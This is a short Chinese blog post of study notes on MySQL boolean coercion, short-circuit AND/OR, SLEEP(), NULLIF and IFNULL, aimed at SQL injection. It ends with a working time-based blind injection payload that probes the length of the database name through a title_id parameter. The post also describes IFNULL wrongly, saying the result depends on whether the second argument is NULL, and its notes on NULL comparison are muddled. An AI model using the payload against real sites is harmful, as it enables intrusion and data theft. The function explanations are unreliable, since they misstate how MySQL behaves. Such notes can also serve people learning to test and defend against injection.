MYSQL 相关语句学习

  • A+
所属分类:安全文章

MYSQL 相关语句学习

1、翻了下msyql问文档,貌似没看到对select中 and or的描述;

MYSQL 相关语句学习

 

结论:

字符串全部为字母,则0
当字符串第一个字符为数字,则为1
当字符串第一个字符为+-.,后面紧跟为数字时,为1

当空值null 与数字 ,则为0;与0 则为null
::null介于1与0 之间

 

2、SQL语句的短路 and 短路or:

mysql中 and即&& or即 || 本身为短路与或;

SELECT 'xxxx'
	AND (
		SELECT CASE 
				WHEN 11 = 11 THEN SLEEP(1)
				ELSE 1
			END
	)

MYSQL 相关语句学习

SELECT '111'
	AND (
		SELECT CASE 
				WHEN 11 = 11 THEN SLEEP(1)
				ELSE 1
			END
	)

 

MYSQL 相关语句学习

 

 

3、nullif(a,b):

当a=b,则返回null,当a!=b 则返回a;

类似于

CASE  WHEN a= b THEN NULL ELSE   a  END

4、ifnull(a,b):

假如b不为NULL,则 IFNULL() 的返回值为a; 否则其返回值为 b。IFNULL()的返回值是数字或是字符串,具体情况取决于其所使用的语境

 

在实战中,结合ifnull/nullif,构造比较简单的语句:

title_id=123″ OR IFNULL((nullif(length(database()),12)),SLEEP(1)) and “1”=”1

MYSQL 相关语句学习

 

5、更多可参考https://www.t00ls.net/viewthread.php?tid=55278

 

6、MySQL文档地址:

https://dev.mysql.com/doc/refman/8.0/en/control-flow-functions.html

 

 

 

 

 

 

本文来源于互联网:MYSQL 相关语句学习

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: